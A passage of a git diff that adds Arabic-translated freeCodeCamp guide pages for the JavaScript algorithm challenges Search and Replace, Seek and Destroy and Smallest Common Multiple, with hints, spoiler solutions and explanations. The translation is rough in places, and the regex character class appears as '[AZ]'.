+    *   تحويل مجموعة إلى سلسلة باستخدام `join()` وإضافة **ay** إلى نهاية السلسلة. أعده.
+
+#### روابط ذات صلة
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS Array Prototype Shift](http://forum.freecodecamp.com/t/javascript-array-prototype-shift/14301)
+*   [JS Array Prototype Push](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [شبيبة صفيف النموذج](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+### ![:trophy:](https://forum.freecodecamp.com/images/emoji/emoji_one/trophy.png?v=3 ":غنيمة:") ائتمانات:
+
+إذا وجدت هذه الصفحة مفيدة ، يمكنك أن تقول شكرا للمساهمين من خلال نسخ ولصق السطر التالي في الدردشة الرئيسية:
+
+**`Thanks @Rafase282 @sabahang @aganita @Hallaathrad for your help with Algorithm: Pig Latin`**
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/search-and-replace/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/search-and-replace/index.md
new file mode 100644
index 0000000000..dce3d4342b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/search-and-replace/index.md
@@ -0,0 +1,234 @@
+---
+title: Search and Replace
+localeTitle: بحث واستبدال
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+ستقوم بإنشاء برنامج يأخذ جملة ، ثم يبحث عن كلمة فيه ويستبدلها بواحدة جديدة مع الحفاظ على الأحرف الكبيرة إذا كان هناك واحد.
+
+#### روابط ذات صلة
+
+*   [كائن عالمي السلسلة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   [JS String Prototype Replace](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   العثور على مؤشر حيث `before` في السلسلة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+*   تحقق من حالة الرسالة الأولى.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+*   سلاسل غير قابلة للتغيير ، ستحتاج إلى حفظ التعديلات على متغير آخر ، حتى إذا كان يجب إعادة استخدام نفس واحدة فقط لجعلها تبدو وكأنها التغييرات التي تم إجراؤها باستخدام هذا المتغير فقط.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function myReplace(str, before, after) { 
+  // Find index where before is on string 
+  var index = str.indexOf(before); 
+  // Check to see if the first letter is uppercase or not 
+  if (str[index] === str[index].toUpperCase()) { 
+    // Change the after word to be capitalized before we use it. 
+    after = after.charAt(0).toUpperCase() + after.slice(1); 
+  } 
+  // Now replace the original str with the edited one. 
+  str = str.replace(before, after); 
+ 
+  return str; 
+ } 
+ 
+ // test here 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmo/0)
+
+### شرح الشفرة:
+
+*   استخدم `indexOf()` للبحث عن موقع من **قبل** في السلسلة.
+*   إذا تمت كتابة الحرف الأول من **قبل** ، فغيّر الحرف الأول **بعد** الحرف الكبير.
+*   استبدال **قبل** في السلسلة مع **بعد** .
+*   إرجاع السلسلة الجديدة.
+
+#### روابط ذات صلة
+
+*   [JS String Prototype IndexOf](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+*   [JS String Prototype ToUpperCase](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)
+*   [JS String Prototype CharAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)
+*   [JS String Prototype Slice](http://forum.freecodecamp.com/t/javascript-string-prototype-slice/15943)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function myReplace(str, before, after) { 
+ //Create a regular expression object 
+  var re = new RegExp(before,"gi"); 
+ //Check whether the first letter is uppercase or not 
+  if(/[AZ]/.test(before[0])){ 
+  //Change the word to be capitalized 
+    after = after.charAt(0).toUpperCase()+after.slice(1); 
+     } 
+     //Replace the original word with new one 
+  var  newStr =  str.replace(re,after); 
+ 
+ return newStr; 
+ } 
+ 
+ // test here 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmp/0)
+
+### شرح الشفرة:
+
+*   في هذا الحل ، يتم استخدام التعبير العادي `[AZ]` للتحقق مما إذا كان الحرف كبيرًا أم لا.
+*   إنشاء كائن تعبير عادي جديد ، **إعادة** .
+*   إذا تمت كتابة الحرف الأول من **قبل** ، فغيّر الحرف الأول **بعد** الحرف الكبير.
+*   استبدال **قبل** مع **بعد** في السلسلة.
+*   إرجاع السلسلة الجديدة.
+
+#### روابط ذات صلة
+
+*   شبيبة ريجكس الموارد
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function myReplace(str, before, after) { 
+ 
+    // create a function that will change the casing of any number of letter in parameter "target" 
+    // matching parameter "source" 
+    function applyCasing(source, target) { 
+        // split the source and target strings to array of letters 
+        var targetArr = target.split(""); 
+        var sourceArr = source.split(""); 
+        // iterate through all the items of sourceArr and targetArr arrays till loop hits the end of shortest array 
+        for (var i = 0; i < Math.min(targetArr.length, sourceArr.length); i++){ 
+            // find out the casing of every letter from sourceArr using regular expression 
+            // if sourceArr[i] is upper case then convert targetArr[i] to upper case 
+            if (/[AZ]/.test(sourceArr[i])) { 
+                targetArr[i] = targetArr[i].toUpperCase(); 
+            } 
+            // if sourceArr[i] is not upper case then convert targetArr[i] to lower case 
+            else targetArr[i] = targetArr[i].toLowerCase(); 
+        } 
+        // join modified targetArr to string and return 
+        return (targetArr.join("")); 
+    } 
+ 
+    // replace "before" with "after" with "before"-casing 
+    return str.replace(before, applyCasing(before, after)); 
+ } 
+ 
+ // test here 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmq/0)
+
+### شرح الشفرة:
+
+*   يتم تمرير كل من **قبل** **وبعد** كوسيطة `applyCasing()` .
+*   يتم استخدام الوظيفة `applyCasing()` لتغيير حالة الأحرف المعنية في **targetArr** أي ، **بعد ذلك** وفقًا للحروف في **sourceArr** ، أي من **قبل** .
+*   يستخدم `replace()` ليحل محل **قبل** مع **بعد** ، الذي غلافه هو نفسه كما كان من **قبل** .
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") البديل المتقدم للحل Code:
+
+ `// Add new method to the String object, not overriding it if one exists already 
+ String.prototype.capitalize =  String.prototype.capitalize || 
+    function() { 
+        return this[0].toUpperCase() + this.slice(1); 
+    }; 
+ 
+ const Util = (function () { 
+ // Create utility module to hold helper functions 
+    function textCase(str, tCase) { 
+        // Depending if the tCase argument is passed we either set the case of the 
+        // given string or we get it. 
+        // Those functions can be expanded for other text cases. 
+ 
+        if(tCase) { 
+            return setCase(str, tCase); 
+        } else { 
+            return getCase(str); 
+        } 
+ 
+        function setCase(str, tCase) { 
+            switch(tCase) { 
+                case "uppercase": return str.toUpperCase(); 
+                case "lowercase": return str.toLowerCase(); 
+                case "capitalized": return str.capitalize(); 
+                default: return str; 
+            } 
+        } 
+ 
+        function getCase(str) { 
+            if (str === str.toUpperCase()) { return "uppercase"; } 
+            if (str === str.toLowerCase()) { return "lowercase"; } 
+            if (str === str.capitalize()) { return "capitalized"; } 
+            return "normal"; 
+        } 
+    } 
+ 
+    return { 
+        textCase 
+    }; 
+ })(); 
+ 
+ function myReplace(str, before, after) { 
+    const { textCase } = Util; 
+    const regex = new RegExp(before, 'gi'); 
+    const replacingStr = textCase(after, textCase(before)); 
+ 
+    return str.replace(regex, replacingStr); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/@kr3at0/SearchAndReplace)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") حل رمز متقدم البديل 2:
+
+ `function myReplace(str, before, after) { 
+  const myArr = str.split(' '); 
+  const [wordToReplace] = myArr.filter(item => item === before); 
+  return  wordToReplace[0].toUpperCase() !== wordToReplace[0] 
+  ? myArr.map(item => item === before ? after : item).join(' ') 
+  : myArr.map(item => item === before? after[0].toUpperCase() + after.slice(1) : item).join(' '); 
+ } 
+ 
+ // test: 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+` 
+
+#### روابط ذات صلة
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [شبيبة لشرح الحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [شبيبة الرياضيات مين](http://forum.freecodecamp.com/t/javascript-math-min/14684)
+*   طول سلسلة
+*   [JS String Prototype ToLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [شبيبة صفيف النموذج](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/seek-and-destroy/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/seek-and-destroy/index.md
new file mode 100644
index 0000000000..4be86af85e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/seek-and-destroy/index.md
@@ -0,0 +1,125 @@
+---
+title: Seek and Destroy
+localeTitle: تسعى وتدمر
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+هذه المشكلة صعبة بعض الشيء لأنك يجب أن تتعرف على الحجج ، حيث سيكون عليك العمل مع اثنين **أو أكثر** ولكن على النص الذي ترونه فقط. كثير من الناس ترميز هذا البرنامج لثلاث حجج. ستقوم بإزالة أي رقم من الوسيطة الأولى وهو نفس أي وسيطة أخرى.
+
+#### روابط ذات صلة
+
+*   [كائن الحجج](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+*   [Array.filter ()](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+تحتاج إلى العمل مع `arguments` كما لو كانت مجموعة منتظمة. أفضل طريقة هي تحويله إلى واحد.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+تحتاج إلى التصفية ، وهذا يعني أيضًا أنك تحتاج إلى إنشاء وظيفة رد اتصال. يمكنك استخدام أساليب مختلفة مثل: `indexOf()` ، `includes()` . إذا كنت بحاجة إلى طريقة أخرى ، فقد يكون `reduce()` أيضًا مفيدًا ؛ استمر في قراءة هذه المستندات!
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+لتحويل `arguments` إلى مصفوفة استخدم هذا الرمز `var args = Array.prototype.slice.call(arguments);`
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function destroyer(arr) { 
+  var args = Array.prototype.slice.call(arguments); 
+ 
+  for (var i = 0; i < arr.length; i++) { 
+    for (var j = 0; j < args.length; j++) { 
+      if (arr[i] === args[j]) { 
+        delete arr[i]; 
+      } 
+    } 
+  } 
+  return arr.filter(Boolean); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/95)
+
+### شرح الشفرة:
+
+1.  إنشاء صفيف من `arguments` باستخدام `Array.prototype.slice.call()` وتخزينها في `args` متغير. سنستخدم هذا للتحقق من `arr` .
+    
+2.  بدء الأساسية `for` حلقة لتكرار خلال `arr` . عش آخر `for` حلقة داخل أولا، وتغيير عدد صحيح متغير `j` وصول إلى وسائط. سيتم تكرار هذه الحلقة الثانية من خلال `args` .
+    
+    *   ضمن الحلقة الثانية إنشاء بيان `if` ، بالتحقق بدقة `===` أن الحالي val `arr[i]` يساوي `args[j]` .
+        
+    *   إذا كانت القيمة في المؤشر الحالي _تساوي_ في كل من المصفوفات، استخدم `delete` لإزالته من `arr` .
+        
+3.  خارج الحلقات المتداخلة: قم بإرجاع الصفيف المعدل باستخدام الكائن `Boolean` كمرشح لأي قيمة `null` تم إنشاؤها بواسطة عامل `delete` .
+    
+
+#### روابط ذات صلة
+
+*   \[الحجج
+*   [Array.filter ()](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+*   [حذف](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
+*   [منطقية](http://forum.freecodecamp.com/t/javascript-boolean/14311)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function destroyer(arr) { 
+  var args = Array.from(arguments).slice(1); 
+  return arr.filter(function(val) { 
+    return !args.includes(val); 
+  }); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/Ck2m/0)
+
+### شرح الشفرة:
+
+1.  قم بتعريف متغير يسمى `args` وتعيينه يساوي كائن `Array` جديد `from()` `arguments` تم تمريرها إلى الدالة. على السطر نفسه أو التالي ، استخدم الطريقة `slice()` على `args` بدءًا من الفهرس الثاني ، 1. وهذا يفصل الوسيطات المستخدمة في التصفية في `args` الخاص من `args` .
+    
+2.  عودة مجموعة تصفيتها، وذلك باستخدام `includes()` في وظيفة رد الاتصال للتحقق مما إذا `val` _ليس_ في `args` . إرجاع `true` للحفاظ على القيمة في الصفيف الأصلي أو `false` لإزالته.
+    
+
+#### روابط ذات صلة
+
+*   [الحجج](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+*   [Array.slice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+*   [Array.includes ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes)
+
+## الحل المتقدم للكود:
+
+ `const destroyer = (arr, ...args) => arr.filter(i => !args.includes(i)); 
+` 
+
+### شرح الشفرة:
+
+*   كود باستخدام صيغة ES6 لتعريف وظيفة باستخدام وظائف السهم.
+*   استخدام عامل انتشار لاسترداد الحجج.
+*   إرجاع الصف المفلتر ، باستخدام `includes()` .
+
+#### روابط ذات صلة
+
+*   [انتشار المشغل](https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/smallest-common-multiple/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/smallest-common-multiple/index.md
new file mode 100644
index 0000000000..602ca8589e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/smallest-common-multiple/index.md
@@ -0,0 +1,221 @@
+---
+title: Smallest Common Multiple
+localeTitle: أصغر مشترك متعددة
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+أصغر المتغيرات الشائعة بين رقمين هي أصغر عدد يمكن أن يقسمه كلا الرقمين. يمكن تمديد هذا المفهوم إلى أكثر من رقمين أيضًا.
+
+يمكننا أن نبدأ أولاً بمجرد العثور على أصغر مشترك متعدد بين رقمين. بسذاجة ، يمكنك البدء في كتابة العديد من كل رقم حتى تكتب متعددة موجودة من كلا الرقمين.
+
+مثال على ذلك هو الأرقام `3` و `4` . مضاعفات `3` هي `3, 6, 9, 12, 15, 18, ...` ومضاعفات `4` هي `4, 8, 12, 16, 20, ...` أول رقم صغير نصل إليه في كل من القائمتين هو `12` وهذا هو أصغر عدد مضاعف مشترك بين `3` و `4` .
+
+يمكن أن تكون هذه المشكلة مربكة لأن معظم الأشخاص يبحثون عن أصغر مضاعفات مشتركة للأرقام فقط ولكنهم ينسون **نطاق** الكلمات الرئيسية. ومع ذلك ، فهذا يعني أنه إذا تم إعطاؤك `[1,5]` ، فيجب عليك التحقق من أصغر المضاعفات المشتركة لجميع الأرقام `[1,2,3,4,5]` التي يتم تقسيمها بالتساوي من قبل جميعهم.
+
+#### روابط ذات صلة
+
+*   [أقل (أصغر) مشترك متعدد](https://en.wikipedia.org/wiki/Least_common_multiple)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+قم بإنشاء مصفوفة تحتوي على كافة الأرقام المفقودة من المصفوفة الأصلية لتسهيل التحقق عند الحاجة إلى البحث عن تقسيم حتى.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+يمكنك استخدام عامل التشغيل المتبقي ( `%` ) للتحقق مما إذا كان التذكير بالقسم هو 0 ، مما يعني أنه قابل للقسمة بالتساوي.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+إذا قمت بفرز المصفوفة من الأكبر إلى الأصغر ، يمكنك استخدام أول رقمين كأول فحص لأصغر تعدد مشترك. ويرجع ذلك إلى أنه من المرجح أن تكون أصغر سلسلة مشتركة من الأرقام الأقل.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function smallestCommons(arr) { 
+  // Sort array from greater to lowest 
+  // This line of code was from Adam Doyle (http://github.com/Adoyle2014) 
+  arr.sort(function(a, b) { 
+    return b - a; 
+  }); 
+ 
+  // Create new array and add all values from greater to smaller from the 
+  // original array. 
+  var newArr = []; 
+  for (var i = arr[0]; i >= arr[1]; i--) { 
+    newArr.push(i); 
+  } 
+ 
+  // Variables needed declared outside the loops. 
+  var quot = 0; 
+  var loop = 1; 
+  var n; 
+ 
+  // Run code while n is not the same as the array length. 
+  do { 
+    quot = newArr[0] * loop * newArr[1]; 
+    for (n = 2; n < newArr.length; n++) { 
+      if (quot % newArr[n] !== 0) { 
+        break; 
+      } 
+    } 
+ 
+    loop++; 
+  } while (n !== newArr.length); 
+ 
+  return quot; 
+ } 
+ 
+ // test here 
+ smallestCommons([1,5]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLn2/0)
+
+### شرح الشفرة:
+
+*   نظرًا لاحتمال وجود أصغر قاسم مشترك بين أكبر رقمين ، فمن المنطقي التحقق من هذه الأرقام أولاً ، لذا قم بفرز الصفيف.
+*   أنشئ مصفوفة جديدة لفرز جميع الأرقام ، `newArr` .
+*   استخدام الهابطة `for` حلقة ( `var i = arr[0]; i >= arr[1]; i--` ) لإضافة الأرقام من أكبر إلى أصغر في مجموعة جديدة.
+*   قم بتعريف المتغيرات للحاصل حتى نتمكن من الوصول إليها خارج الحلقة:
+    *   الحاصل الذي سيكون أصغر تعدد مشترك لدينا ( `quot` )
+    *   رقم الحلقة الذي نتحقق منه ( `loop` )
+    *   فهرس مجموعة الأرقام ( `n` )
+*   استخدم حلقة " `do` `while` للتحقق مما نحتاجه بينما `n` ليس بنفس طول الصفيف الجديد.
+*   في `do` جزء، ونحن نذهب لمضاعفة الرقم الأول جدا، أضعاف عدد من الحلقات، وأضعاف الرقم الثاني ( `quot = newArr[0] * loop * newArr[1];` ).
+*   سيسمح لنا الجزء `loop` بزيادة العدد الذي نتحقق منه بأكبر عدد ممكن لدينا دون الحاجة إلى تغيير الخوارزمية.
+*   ندخل في حلقة `for` والتي سوف تنتقل من `n` إلى 2 `n < newArr.length` واحدة ( `loop++` ) عندما تكون أصغر من المصفوفة مع جميع الأرقام ( `n < newArr.length` ).
+*   إذا لم ينقسم القسمة بالتساوي ( `quot % newArr[n] !== 0` ) ، `quot % newArr[n] !== 0` بإيقاف الحلقة ( `break;` ). إذا كان الأمر كذلك ، فقم بفحص العناصر التالية ( `n++` ) في المصفوفة حتى لا يكون حتى أو نجد إجابتنا.
+*   خارج الحلقة ، قم بزيادة قيمة الحلقة ( `loop++` ).
+*   في نهاية الحلقة ، ترجع حاصل القسمة ( `return quot;` ).
+
+ملاحظة: إذا كانت مجموعة عنصرين، ثم فقط `for` حلقة لم يعتاد وقيمة الإرجاع هي نتاج الأرقام المذكورة.
+
+#### روابط ذات صلة
+
+*   [JS Array بروتوتايب الفرز](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+*   [شبيبة لشرح الحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [JS Array Prototype Push](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS Do While Loop](http://forum.freecodecamp.com/t/javascript-do-while-loop/14662)
+*   طول سلسلة
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function smallestCommons(arr) { 
+    var range = []; 
+    for (var i = Math.max(arr[0], arr[1]); i >= Math.min(arr[0], arr[1]); i--) { 
+    range.push(i); 
+    } 
+ 
+    // can use reduce() in place of this block 
+    var lcm = range[0]; 
+    for (i = 1; i < range.length; i++) { 
+    var GCD = gcd(lcm, range[i]); 
+    lcm = (lcm * range[i]) / GCD; 
+    } 
+    return lcm; 
+ 
+    function gcd(x, y) {    // Implements the Euclidean Algorithm 
+    if (y === 0) 
+        return x; 
+    else 
+        return gcd(y, x%y); 
+    } 
+ } 
+ 
+ // test here 
+ smallestCommons([1,5]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLn4/0)
+
+### شرح الشفرة:
+
